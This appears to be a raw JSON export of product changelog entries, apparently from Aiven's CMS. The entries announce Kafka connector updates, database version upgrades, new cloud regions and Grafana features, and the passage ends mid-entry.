{"_createdAt":"2022-10-27T09:08:13Z","_i18n_lang":"en","_id":"1961b1f3-1a5d-419c-80b1-874d3452d693","_rev":"dTcxLudMA3V5vz7pZEQgZl","_type":"changelog","_updatedAt":"2022-10-27T09:08:13Z","changeType":"","description":[{"_key":"1aa367d0-c0b9-43c2-bb7d-2ac0f5be4ffd","_type":"block","children":[{"_key":"dabdf0a4-69c7-43cb-b5d7-ce91ebd393b0","_type":"span","marks":[],"text":"Please see "},{"_key":"678d3f72-e05c-4162-90f7-21838cacdd36","_type":"span","marks":["m11392720030184"],"text":"the documentation"},{"_key":"49a7f9de-79f2-40b9-a881-4920462e5fa0","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m11392720030184","_type":"link","href":"https://github.com/splunk/kafka-connect-splunk"}],"style":"normal"}],"publishedAt":"2019-06-27T00:00:00.000Z","tags":[{"_key":"81e1d9c9-48c3-4a12-ad09-5f00ba81c6b1","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Splunk Kafka Connect Connector version 1.1.1 has been added"} {"_createdAt":"2022-10-27T09:08:21Z","_i18n_lang":"en","_id":"19771e2a-7b4e-4fce-9753-ddf1aaba0c06","_rev":"ri8ZjU8zRgh6Niwltv1D9n","_type":"changelog","_updatedAt":"2022-10-27T09:08:21Z","changeType":"","description":[{"_key":"7cf979ea-259b-4eb9-8843-9847e9187655","_type":"block","children":[{"_key":"cb5dfdbe-84f3-4d36-b62c-2b9bb25d048a","_type":"span","marks":[],"text":"Enabling this requires a separate configuration change under advanced settings."}],"markDefs":[],"style":"normal"}],"publishedAt":"2019-06-13T00:00:00.000Z","tags":[{"_key":"d3850fd0-5418-4e70-82b4-76668ded4a14","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Support accessing Grafana from non-private addresses with services running in the VPC"} {"_createdAt":"2022-10-27T09:09:57Z","_i18n_lang":"en","_id":"19d750a6-2308-4102-8b6a-96a436f3f248","_rev":"dTcxLudMA3V5vz7pZEQlFl","_type":"changelog","_updatedAt":"2022-10-27T09:09:57Z","changeType":"","publishedAt":"2018-08-07T00:00:00.000Z","tags":[{"_key":"10edf11a-ff70-4314-bd74-2acd5268bb68","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"},{"_key":"564fabc1-068c-4cf8-ab8e-f483a61cc4b1","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Debezium, a CDC connector for Kafka and PostgreSQL has been updated to version 0.8.1 and PostgreSQL's wal2json extension has been updated to May 23rd version"} {"_createdAt":"2022-10-27T09:08:57Z","_i18n_lang":"en","_id":"1b0fb0c7-3d8a-489d-9cfb-a1ef0e17cd05","_rev":"7JYD5XroFCjaK9NJzk3wqw","_type":"changelog","_updatedAt":"2022-10-27T09:08:57Z","changeType":"","description":[{"_key":"3b5a217d-19bb-41b9-84c3-63a2966f9a6e","_type":"block","children":[{"_key":"b34d8ef8-380b-4a5a-9309-49624c9b1d5c","_type":"span","marks":[],"text":"See "},{"_key":"bec9e855-8017-48fd-ac77-21d20f3036e2","_type":"span","marks":["m13080281088057"],"text":"release announcement"},{"_key":"b899fe8f-09b6-4cb7-993e-542553a58e88","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m13080281088057","_type":"link","href":"https://www.postgresql.org/about/news/1920/"}],"style":"normal"}],"publishedAt":"2019-02-18T00:00:00.000Z","tags":[{"_key":"21ef6163-e1dc-425c-9959-61962736b7f3","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL updated to latest minor releases 11.2, 10.7, 9.6.12 and 9.5.16"} {"_createdAt":"2022-10-27T09:06:35Z","_i18n_lang":"en","_id":"1c309f5a-f8a6-4e72-a93c-4dba0e1013a9","_rev":"RS2LhK1JP0SKK0JvX1Qcq1","_type":"changelog","_updatedAt":"2022-10-27T09:06:35Z","changeType":"","description":[{"_key":"8cf1227a-48a5-4730-b4ae-8013da353688","_type":"block","children":[{"_key":"98e69028-70dc-4cac-b19a-c2cf8ed5e090","_type":"span","marks":[],"text":"Please see "},{"_key":"7b9c0fe6-d944-48b8-833f-2b246e08e556","_type":"span","marks":["m16153168143473"],"text":"the changelog"},{"_key":"2ff1391b-0291-42f6-af28-c9540b52dbc1","_type":"span","marks":[],"text":" and "},{"_key":"642dfa76-9d45-4fac-a2ec-129a702e7238","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"508c74bf-8d28-4afc-bc78-e773dd9238fc","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m16153168143473","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/releases/tag/v1.3.1"},{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2020-06-08T00:00:00.000Z","tags":[{"_key":"50916347-dafd-4f25-9475-168083424ddc","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector has been updated to version 1.3.1"} {"_createdAt":"2022-10-27T09:11:09Z","_i18n_lang":"en","_id":"1c90bffb-7fb0-4ab7-b987-e3cdfc454832","_rev":"tsRucK8MIVb3810duaE8IW","_type":"changelog","_updatedAt":"2022-10-27T09:11:09Z","changeType":"","description":[{"_key":"5d0ef77b-6c97-463b-9c6e-345da41dc05c","_type":"block","children":[{"_key":"b37a79b7-1189-4fe8-9864-2d2db25bd3fb","_type":"span","marks":[],"text":"Send an email to "},{"_key":"a47202b8-4583-4a33-b0a1-59d6644d5ed2","_type":"span","marks":["m3852905211638"],"text":"sales@aiven.io"},{"_key":"0a042b9e-7528-4058-b102-ba5d5b59bd85","_type":"span","marks":[],"text":" if you'd like an invite to the beta program."}],"markDefs":[{"_key":"m3852905211638","_type":"link","href":"mailto:sales@aiven.io"}],"style":"normal"}],"publishedAt":"2017-10-14T00:00:00.000Z","tags":[{"_key":"4851fa6c-2586-410f-a01a-efa0958c0654","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven ZooKeeper: Added a new service type ZooKeeper for invite only beta-testing"} {"_createdAt":"2022-10-27T09:03:25Z","_i18n_lang":"en","_id":"1cb3fd26-702e-4768-ab0c-7ff13a14f472","_rev":"MEha5B96IszmAjyiiUpJPb","_type":"changelog","_updatedAt":"2022-10-27T09:03:25Z","changeType":"","description":[{"_key":"edbf76b6-d00f-4863-b59e-cbf684063537","_type":"block","children":[{"_key":"6e673bf3-0b05-4942-bbaa-10214ce75930","_type":"span","marks":[],"text":"Please see the "},{"_key":"b1c20676-a883-4753-b315-87d386bce249","_type":"span","marks":["m15025660322469"],"text":"release notes"},{"_key":"3b677070-5e6b-4d85-9d42-2f51e98052bc","_type":"span","marks":[],"text":" and the "},{"_key":"0e032e51-f6c3-4de7-83c9-0d7442316f6f","_type":"span","marks":["m16749607102558"],"text":"announcement blog post"},{"_key":"acbb4782-0e55-4d80-afb5-922bcbfe7880","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m15025660322469","_type":"link","href":"https://downloads.apache.org/kafka/3.0.0/RELEASE_NOTES.html"},{"_key":"m16749607102558","_type":"link","href":"https://aiven.io/blog/aiven-supports-apache-kafka-3-0"}],"style":"normal"}],"publishedAt":"2021-11-22T00:00:00.000Z","tags":[{"_key":"55759339-d431-41f9-8ee6-63ce3e84eda5","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Apache Kafka version 3.0.0 is now available on Aiven"} {"_createdAt":"2022-10-27T09:11:57Z","_i18n_lang":"en","_id":"1ce11000-c338-42c3-b4c1-b82c1c9a87c4","_rev":"7JYD5XroFCjaK9NJzk43mW","_type":"changelog","_updatedAt":"2022-10-27T09:11:57Z","changeType":"","publishedAt":"2017-04-17T00:00:00.000Z","tags":[{"_key":"fe17ce7f-c5a6-4152-8cb8-036df0caa0ed","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Added support for the new Google Cloud Platform (GCP) Singapore region, all services are now available in the region."} {"_createdAt":"2022-10-27T09:09:43Z","_i18n_lang":"en","_id":"1e4566ec-c9e3-4fd3-b612-01ad92708c80","_rev":"ncjVtEY290Sap8rHbFwjmb","_type":"changelog","_updatedAt":"2022-10-27T09:09:43Z","changeType":"","description":[{"_key":"116cefce-a31a-46be-88ad-6ea64282cae9","_type":"block","children":[{"_key":"5169769d-599e-42d7-9baf-04f15ef5b3b7","_type":"span","marks":[],"text":"Please see the "},{"_key":"0734e0e2-3062-49ed-a399-813a11ba00ec","_type":"span","marks":["m2346461110690"],"text":"help article"},{"_key":"982438fc-32c2-49d8-921b-14228281a17d","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m2346461110690","_type":"link","href":"https://help.aiven.io/grafana/grafana-authentication-plugins"}],"style":"normal"}],"publishedAt":"2018-09-14T00:00:00.000Z","tags":[{"_key":"3577569f-6631-462e-80fc-9b7765b939bc","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Aiven for Grafana now supports authentication via Google, Github and GitLab"} {"_createdAt":"2022-10-27T09:02:01Z","_i18n_lang":"en","_id":"1e4f1599-62db-4269-82cf-e03845216c81","_rev":"WYf15BwQWb3V4yHfbxNHHH","_type":"changelog","_updatedAt":"2022-10-27T09:02:01Z","changeType":"","description":[{"_key":"01161ac9-bbfb-4be7-8fbc-a136eae51d69","_type":"block","children":[{"_key":"1e3e645b-fcad-44bf-9c84-e31f669f636a","_type":"span","marks":[],"text":"Please see the "},{"_key":"10ad76e8-8657-4a95-95cf-ecc3642a1375","_type":"span","marks":["m2816151811276"],"text":"Changelog"},{"_key":"a5f7216f-6154-4281-9d07-b2b13ecb8427","_type":"span","marks":[],"text":" for what's new in this release."}],"markDefs":[{"_key":"m2816151811276","_type":"link","href":"https://raw.githubusercontent.com/redis/redis/7.0/00-RELEASENOTES"}],"style":"normal"}],"publishedAt":"2022-09-05T00:00:00.000Z","tags":[{"_key":"467eba9c-d1eb-4c76-af60-039fb1ea55c9","_ref":"f1fcd019-a608-4171-bc4b-2886adfa67a5","_type":"service"}],"title":"Updated Redis to version 7.0.4"} {"_createdAt":"2022-10-27T09:10:54Z","_i18n_lang":"en","_id":"1e641189-f65a-40a8-abb6-082498454891","_rev":"RS2LhK1JP0SKK0JvX1RR51","_type":"changelog","_updatedAt":"2022-10-27T09:10:54Z","changeType":"","description":[{"_key":"f69e8164-4886-4a23-828c-386ce148ac4e","_type":"block","children":[{"_key":"9e3ae275-b581-4d74-86be-1240d669477c","_type":"span","marks":[],"text":"Highly-available Aiven plans running in UpCloud Helsinki are now distributed across two availability zones."}],"markDefs":[],"style":"normal"}],"publishedAt":"2018-01-13T00:00:00.000Z","tags":[{"_key":"d7ae5f1e-45c2-4ea0-b687-70e45222238f","_ref":"6ed4cb03-b0d9-4009-bbf7-382ca41bcf26","_type":"hostProvider"}],"title":"Added support for new UpCloud Helsinki#2 zone"} {"_createdAt":"2022-10-27T09:11:16Z","_i18n_lang":"en","_id":"1e9282a5-c6ee-49e2-b620-a078345d2472","_rev":"7JYD5XroFCjaK9NJzk40dO","_type":"changelog","_updatedAt":"2022-10-27T09:11:16Z","changeType":"","description":[{"_key":"4e9ce1f9-7b96-4cea-85f5-351598670a26","_type":"block","children":[{"_key":"e1092c9c-cb56-4d22-8bd5-01c9ccbf225f","_type":"span","marks":[],"text":"Please refer to the "},{"_key":"38a96174-7d32-4b5e-9e36-d5c0ba278a9e","_type":"span","marks":["m1816104443813"],"text":"changelog"},{"_key":"07e234bd-8434-4b38-9ece-85a7aefa9678","_type":"span","marks":[],"text":" for what's new."}],"markDefs":[{"_key":"m1816104443813","_type":"link","href":"https://github.com/grafana/grafana/blob/master/CHANGELOG.md"}],"style":"normal"}],"publishedAt":"2017-09-30T00:00:00.000Z","tags":[{"_key":"25f1bbeb-a00e-42de-87b5-56fade5749d0","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Added support for version 4.5.2 and update all available plugins to the latest versions"} {"_createdAt":"2022-10-27T09:05:51Z","_i18n_lang":"en","_id":"1fb4875b-455c-40ee-ba90-f13e4945ad69","_rev":"GNtcCQgxf3P3DqpLt1jTkz","_type":"changelog","_updatedAt":"2022-10-27T09:05:51Z","changeType":"","description":[{"_key":"9dcddf5d-1143-489a-b8e8-491479077413","_type":"block","children":[{"_key":"5e607cb6-c639-4e52-abab-9a4bf87e14bd","_type":"span","marks":[],"text":"Please see "},{"_key":"c8f45768-01fd-4a48-b57c-b7f8707c658d","_type":"span","marks":["m3603861415894"],"text":"the changelog"},{"_key":"2d808387-7b19-4d97-8ce9-093b7d2178ca","_type":"span","marks":[],"text":" and "},{"_key":"0a55b8fa-bb4e-443c-a96f-fb88d72c18d0","_type":"span","marks":["m1768960206853"],"text":"the documentation"},{"_key":"c503ed4f-1ad3-4b6a-8da8-0cd6b4b33e72","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m3603861415894","_type":"link","href":"https://github.com/snowflakedb/snowflake-kafka-connector/releases/tag/v1.5.0"},{"_key":"m1768960206853","_type":"link","href":"https://docs.snowflake.net/manuals/user-guide/kafka-connector.html"}],"style":"normal"}],"publishedAt":"2020-10-15T00:00:00.000Z","tags":[{"_key":"0cf91d95-370b-41cd-bd3d-0db14981840d","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Snowflake Kafka Connect Connector has been updated to version 1.5.0"} {"_createdAt":"2022-10-27T09:08:24Z","_i18n_lang":"en","_id":"1fc31633-975c-44f8-8f55-c6485d5b22b8","_rev":"Dn65xz5Z1k22g7BhlztKtN","_type":"changelog","_updatedAt":"2022-10-27T09:08:24Z","changeType":"","description":[{"_key":"0ffe9bf8-ef48-48fd-bc63-21a5d3afcb22","_type":"block","children":[{"_key":"8fcaabec-99f8-4690-8acd-dd272c5355fb","_type":"span","marks":[],"text":"Enabling this requires a separate configuration change under advanced settings."}],"markDefs":[],"style":"normal"}],"publishedAt":"2019-06-11T00:00:00.000Z","tags":[{"_key":"b6621c75-8176-42f0-b77f-f02162636462","_ref":"861f137f-be9f-4b7a-b55d-b95fd5fd7500","_type":"service"}],"title":"Support accessing MySQL and Prometheus on MySQL services from non-private addresses with services running in the VPC"} {"_createdAt":"2022-10-27T09:11:07Z","_i18n_lang":"en","_id":"209bcc44-edc1-4055-b96b-86da0c329fd3","_rev":"LZdZtpADiowz8bkvB6nlZw","_type":"changelog","_updatedAt":"2022-10-27T09:11:07Z","changeType":"","description":[{"_key":"26304dbc-206a-4b3a-9ef6-6e77e00ee591","_type":"block","children":[{"_key":"2086e3cf-8a08-4033-b06f-64a8dbc1b7b9","_type":"span","marks":[],"text":"All Aiven services are now available in the region."}],"markDefs":[],"style":"normal"}],"publishedAt":"2017-10-20T00:00:00.000Z","tags":[{"_key":"3d15822c-8798-4e35-95f0-ba756a96169b","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Added support for Google Cloud Platform (GCP) southamerica-east1 region in São Paulo, Brazil"} {"_createdAt":"2022-10-27T09:02:12Z","_i18n_lang":"en","_id":"20ca0fa0-968d-4c5f-87ad-7d0b80807f43","_rev":"pHQ8N4A65KgHsk1wOJP9kH","_type":"changelog","_updatedAt":"2022-12-13T09:02:27Z","changeType":"new","description":[{"_key":"d3d83819-144a-46ca-95a8-acd8dbfabf62","_type":"block","children":[{"_key":"7f01115e-ea7c-47e0-8fd5-9deb72e49ce2","_type":"span","marks":[],"text":"All Aiven services are now available in the "},{"_key":"2eb17692-90ad-4691-979c-2c253f542099","_type":"span","marks":[],"text":"us-east5"},{"_key":"30e64f3b-cf8d-4aa0-9f3c-f785736ba7b2","_type":"span","marks":[],"text":", "},{"_key":"f77e80e3-c9ba-4c93-ad56-8d741302a937","_type":"span","marks":[],"text":"us-south1"},{"_key":"8dd6f9bf-1621-4420-b993-d068f1a4effc","_type":"span","marks":[],"text":", "},{"_key":"6ca0b44e-da29-4195-b07b-ce1b6ffd76d4","_type":"span","marks":[],"text":"europe-southwest1"},{"_key":"84deb545-2957-4c2d-b762-377178883f1a","_type":"span","marks":[],"text":", "},{"_key":"da51756a-fe48-4e3a-97f1-ac890b1d2300","_type":"span","marks":[],"text":"europe-west8"},{"_key":"f935ad84-94bd-4e15-9480-91a80165a9ff","_type":"span","marks":[],"text":", and "},{"_key":"871e1640-f9af-4acb-ba93-53fcdb7fdbff","_type":"span","marks":[],"text":"europe-west9"},{"_key":"e2892126-0c2d-433b-b168-10aa71be3b24","_type":"span","marks":[],"text":" regions."}],"markDefs":[],"style":"normal"}],"publishedAt":"2022-08-15T00:00:00.000Z","tags":[{"_key":"487ed627-feae-4920-9811-0d30cfd36971","_ref":"adc248e9-c65b-45b5-a4e6-930767897444","_type":"hostProvider"}],"title":"Added support for the Google Cloud Platform (GCP) Columbus (OH), Dallas (TX), Madrid (Spain), Milan (Italy), and Paris (France) regions"} {"_createdAt":"2022-10-27T09:11:40Z","_i18n_lang":"en","_id":"20e762ee-ffbf-4004-96f5-0c1f3a387136","_rev":"GNtcCQgxf3P3DqpLt1kRor","_type":"changelog","_updatedAt":"2022-10-27T09:11:40Z","changeType":"","publishedAt":"2017-06-14T00:00:00.000Z","tags":["DigitalOcean"],"title":"Added support for larger plan types in DigitalOcean (DO) Toronto tor1 region."} {"__i18n_lang":"en","_createdAt":"2024-09-02T11:11:29Z","_id":"2106cbdd-66ef-4d2e-9339-31d2c54df1a8","_rev":"aWoy619Wq5MYH4feSWP0BP","_type":"changelog","_updatedAt":"2024-09-02T16:31:58Z","changeType":"new","description":[{"_key":"3960aa4217bf","_type":"block","children":[{"_key":"0c4014d83ae10","_type":"span","marks":[],"text":"Aiven for Apache Kafka Connect now supports authentication using secrets from external providers. This allows you to securely reference these secrets within your connector configurations, providing a wider variety of options for securing Apache Kafka Connect traffic. Supported secret managers include:"}],"markDefs":[],"style":"normal"},{"_key":"015a5700f2a2","_type":"block","children":[{"_key":"1ce2298b3a6d0","_type":"span","marks":[],"text":"AWS Secrets Manager"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"acdac0e84c5e","_type":"block","children":[{"_key":"4fed297867140","_type":"span","marks":[],"text":"HashiCorp Vault"}],"level":1,"listItem":"bullet","markDefs":[],"style":"normal"},{"_key":"e398edbcaec3","_type":"block","children":[{"_key":"26fae53d62fb0","_type":"span","marks":[],"text":"For more information, see "},{"_key":"d9284407904f","_type":"span","marks":["aaea18e13283"],"text":"Aiven for Apache Kafka® Connect secret providers"},{"_key":"da8e37d72259","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"aaea18e13283","_type":"link","href":"https://aiven.io/docs/products/kafka/kafka-connect/howto/configure-secret-providers"}],"style":"normal"}],"publishedAt":"2024-09-02T16:31:26.753Z","tags":[{"_key":"12a5435c780a","_ref":"fa631193-9a6d-498e-8545-af24408bef0b","_type":"service"}],"title":" Aiven for Apache Kafka® Connect secret providers"} {"_createdAt":"2022-10-27T09:08:16Z","_i18n_lang":"en","_id":"214605dc-de77-4483-90e6-4ffb5f0d399c","_rev":"Dn65xz5Z1k22g7BhlztKfX","_type":"changelog","_updatedAt":"2022-10-27T09:08:16Z","changeType":"","description":[{"_key":"43b19c32-5cc7-49fc-96e4-3844f5bd448a","_type":"block","children":[{"_key":"1593e4b2-0efd-42c3-a796-4c34ff9a134c","_type":"span","marks":[],"text":"Please see "},{"_key":"b48d72ff-221c-4856-b292-b40184817643","_type":"span","marks":["m15022160411901"],"text":"Instana Data Source"},{"_key":"795bcfde-9fd2-4463-ac93-82fc6aa81b45","_type":"span","marks":[],"text":" and "},{"_key":"ed881aa0-bcea-4c5f-bd48-c6909d40724c","_type":"span","marks":["m14708146505599"],"text":"Singlestat Math Panel"},{"_key":"3e122a25-61d4-4c14-bfb8-63d498f73953","_type":"span","marks":[],"text":" for more details."}],"markDefs":[{"_key":"m15022160411901","_type":"link","href":"https://grafana.com/plugins/instana-datasource"},{"_key":"m14708146505599","_type":"link","href":"https://grafana.com/plugins/blackmirror1-singlestat-math-panel"}],"style":"normal"}],"publishedAt":"2019-06-24T00:00:00.000Z","tags":[{"_key":"13674cbe-8d3b-411a-bbb6-7fb514b98dbf","_ref":"b1cbe8d3-73b7-4d2e-90b6-13f07afb45d7","_type":"service"}],"title":"Added Instana data source and singlestat panel plugin to Grafana"} {"_createdAt":"2022-10-27T09:03:57Z","_i18n_lang":"en","_id":"2162d93f-b2d3-454f-aacf-9028d92ff71d","_rev":"avO8DZ6Ky9k3TDzRfU5zE3","_type":"changelog","_updatedAt":"2022-10-27T09:03:57Z","changeType":"","description":[{"_key":"f3a3205d-f495-44b7-9c7e-12990c36b4d3","_type":"block","children":[{"_key":"f8f9e346-5908-4b3f-bdce-167e2b493232","_type":"span","marks":[],"text":"Please see the "},{"_key":"c19dbe15-6113-4998-b7a9-402ca8f05315","_type":"span","marks":["m9555320600459"],"text":"release notes"},{"_key":"ce2088dd-8e36-42e5-8070-247eb88dbecf","_type":"span","marks":[],"text":" and the "},{"_key":"45c9f5cd-0206-4a2d-ae39-fc02cf8d9b4d","_type":"span","marks":["m10293537749002"],"text":"documentation"},{"_key":"90f0bf16-eb68-474c-9b55-217b662a955a","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m9555320600459","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc/releases/tag/v6.6.0"},{"_key":"m10293537749002","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc/tree/v6.6.0"}],"style":"normal"}],"publishedAt":"2021-07-10T00:00:00.000Z","tags":[{"_key":"cbc1a3a9-62c9-4718-8f06-2e9a7f834870","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka Connect sink and source JDBC connectors have been updated to version 6.6.0"} {"_createdAt":"2022-10-27T09:09:16Z","_i18n_lang":"en","_id":"21963a91-adb7-4c8c-ba2d-4730fa11e81f","_rev":"LZdZtpADiowz8bkvB6nh6w","_type":"changelog","_updatedAt":"2022-10-27T09:09:16Z","changeType":"","publishedAt":"2018-11-28T00:00:00.000Z","tags":[{"_key":"dfd896ba-516f-4e12-a968-58f105142680","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven for Apache Kafka has been updated to latest minor release 2.0.1, also 1.0 and 1.1 versions have gotten some fixes."} {"_createdAt":"2022-10-27T09:05:01Z","_i18n_lang":"en","_id":"2233731b-70f8-457e-b7f0-cb579e187e10","_rev":"7JYD5XroFCjaK9NJzk3nNK","_type":"changelog","_updatedAt":"2022-10-27T09:05:01Z","changeType":"","description":[{"_key":"38088da3-1d3f-4358-b462-9a9eda67c86e","_type":"block","children":[{"_key":"0e7cb5d3-2aab-4c92-84fb-3cace3f31013","_type":"span","marks":[],"text":"Please see the "},{"_key":"7b3c81b6-c7b2-461c-b7d5-8f0c779a442b","_type":"span","marks":["m4484382655241"],"text":"release notes"},{"_key":"52127c22-1524-47df-82ab-ee36dcf73a0d","_type":"span","marks":[],"text":" and the "},{"_key":"f8523657-8deb-4c24-a36c-569d8d3bd6e9","_type":"span","marks":["m1776731392458"],"text":"documentation"},{"_key":"d9751802-3e7b-4b3b-a837-13dadee1d88c","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m4484382655241","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc/releases/tag/v6.4.0"},{"_key":"m1776731392458","_type":"link","href":"https://github.com/aiven/aiven-kafka-connect-jdbc"}],"style":"normal"}],"publishedAt":"2021-02-17T00:00:00.000Z","tags":[{"_key":"5028aa9c-38f9-448d-9f83-0d725c6299f4","_ref":"5383cbbd-be42-476d-9851-14f1a7621644","_type":"service"}],"title":"Aiven Kafka Connect sink and source JDBC connectors have been updated to version 6.4.0"} {"_createdAt":"2022-10-27T09:06:06Z","_i18n_lang":"en","_id":"2297f161-3a60-4b5d-9bea-b926b2919687","_rev":"C4pC7IakZ1PpJ4LWR2B4ix","_type":"changelog","_updatedAt":"2022-10-27T09:06:06Z","changeType":"","description":[{"_key":"a87b9eea-e1a1-45b7-a7d3-2597b2b4a000","_type":"block","children":[{"_key":"14204ecc-a529-4cc0-864c-52c90f7c786d","_type":"span","marks":[],"text":"To see what's new see the release notes for "},{"_key":"a78eef53-40a4-4f51-807f-d7f3223c6738","_type":"span","marks":["m5946721242689"],"text":"Elasticsearch 6.8.12"},{"_key":"93b447fb-7173-43d6-a3a4-79b3e0421b3d","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"m5946721242689","_type":"link","href":"https://www.elastic.co/guide/en/elasticsearch/reference/6.8/release-notes-6.8.12.html"}],"style":"normal"}],"publishedAt":"2020-08-27T00:00:00.000Z","tags":[],"title":"Aiven for Elasticsearch new minor version 6.8.12 is now available"} {"_createdAt":"2022-10-27T09:09:09Z","_i18n_lang":"en","_id":"22aa981c-f495-41a7-bd66-7de8f7461153","_rev":"chYcdg0OBeHzQFNhareCvk","_type":"changelog","_updatedAt":"2022-10-27T09:09:09Z","changeType":"","publishedAt":"2018-12-31T00:00:00.000Z","tags":[{"_key":"83233cd1-22fe-4778-b0b7-3c1be89d41fa","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL's TimescaleDB extension has been updated to version 1.1.1."} {"__i18n_lang":"en","_createdAt":"2023-04-18T08:45:53Z","_id":"233dd54c-9a03-4247-b0ef-55e53a1658c3","_rev":"UVAlzXg2fL5axrKDfzVqpm","_type":"changelog","_updatedAt":"2023-04-18T11:06:19Z","changeType":"improved","description":[{"_key":"1dde9e93d2b2","_type":"block","children":[{"_key":"583bccb3add90","_type":"span","marks":[],"text":"This version has several important improvements and bug fixes, including:"}],"markDefs":[],"style":"normal"},{"_key":"d4946002cfa8","_type":"block","children":[{"_key":"19fa4cafa994","_type":"span","marks":[],"text":"Aiven API updates for both new and dropped deprecations"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1aea72ed24c0","_type":"link","href":"https://aiven.github.io/aiven-operator/changelog.html"},{"_key":"401d64d8f891","_type":"link","href":"https://aiven.github.io/aiven-operator/resources/postgresql.html#creating-a-postgresql-read-only-replica"},{"_key":"6d6425eaaa05","_type":"link","href":"https://aiven.github.io/aiven-operator/changelog.html"}],"style":"normal"},{"_key":"111772256802","_type":"block","children":[{"_key":"851bb3b878a5","_type":"span","marks":[],"text":"New validations and constraints for an improved user experience"}],"level":1,"listItem":"bullet","markDefs":[{"_key":"1aea72ed24c0","_type":"link","href":"https://aiven.github.io/aiven-operator/changelog.html"},{"_key":"401d64d8f891","_type":"link","href":"https://aiven.github.io/aiven-operator/resources/postgresql.html#creating-a-postgresql-read-only-replica"},{"_key":"6d6425eaaa05","_type":"link","href":"https://aiven.github.io/aiven-operator/changelog.html"}],"style":"normal"},{"_key":"cae3249c34ec","_type":"block","children":[{"_key":"016fd0fe01f8","_type":"span","marks":[],"text":"The documentation continues to be improved, too, with more examples added to the "},{"_key":"81348e05d0bb","_type":"span","marks":["a9fb1b248cb4"],"text":"API Reference"},{"_key":"4311636f2d33","_type":"span","marks":[],"text":" and a new recipe for "},{"_key":"583bccb3add93","_type":"span","marks":["401d64d8f891"],"text":"creating a PostgreSQL read-only replica"},{"_key":"583bccb3add94","_type":"span","marks":[],"text":".\n"}],"markDefs":[{"_key":"401d64d8f891","_type":"link","href":"https://aiven.github.io/aiven-operator/resources/postgresql.html#creating-a-postgresql-read-only-replica"},{"_key":"a9fb1b248cb4","_type":"link","href":"https://aiven.github.io/aiven-operator/api-reference/index.html"}],"style":"normal"},{"_key":"3fc2f781bdd6","_type":"block","children":[{"_key":"84655bb19086","_type":"span","marks":[],"text":"For details on the deprecations and fixes, check out the complete "},{"_key":"583bccb3add95","_type":"span","marks":["6d6425eaaa05"],"text":"Aiven Operator changelog"},{"_key":"583bccb3add96","_type":"span","marks":[],"text":"."}],"markDefs":[{"_key":"6d6425eaaa05","_type":"link","href":"https://aiven.github.io/aiven-operator/changelog.html"}],"style":"normal"}],"publishedAt":"2023-04-17T08:45:00.000Z","tags":[{"_key":"70d5f3f9b614","_ref":"2c9ddba5-c82b-4166-95c8-22f314164f97","_type":"tool"}],"title":"Aiven Operator for Kubernetes version 0.10.0 now available"} {"_createdAt":"2022-10-27T09:04:29Z","_i18n_lang":"en","_id":"24fa3ae5-ce3a-4e54-9916-2335abc96c0b","_rev":"zF7BMhNhvYpWtPMfHNMqo2","_type":"changelog","_updatedAt":"2022-10-27T09:04:29Z","changeType":"","publishedAt":"2021-05-05T00:00:00.000Z","tags":[{"_key":"f56a06e6-b1af-4688-bc9c-5104c67b5e01","_ref":"3d8215ce-236e-42c1-9599-a3f68ad67d6d","_type":"service"}],"title":"Aiven for PostgreSQL now has the \u003ca href=\"https://github.com/eulerto/pg_similarity\" rel=\"nofollow noopener noreferrer\"\u003epg_similarity\u003c/a\u003e extension available on PostgreSQL 13."} {"_createdAt":"2022-10-27T09:03:32Z","_i18n_lang":"en","_id":"252e6c26-9552-47c3-8af1-5fbb6b446d3a","_rev":"jxjwnOsJAgDXPDj4qmc5oC","_type":"changelog","_updatedAt":"2022-10-27T09:03:32Z","changeType":"","description":[{"_key":"57358937-da0c-49ad-ae13-66d39b1553c9","_type":"block","children":[{"_key":"a17c499e-3438-490e-a57b-1414c3751db1","_type":"span","marks":[],"text":"Please see the "},{"_key":"fca33cd5-9c5c-41e2-bfe0-5c22bab96eb7","_type":"span","marks":["m8201725104869"],"text":"Release 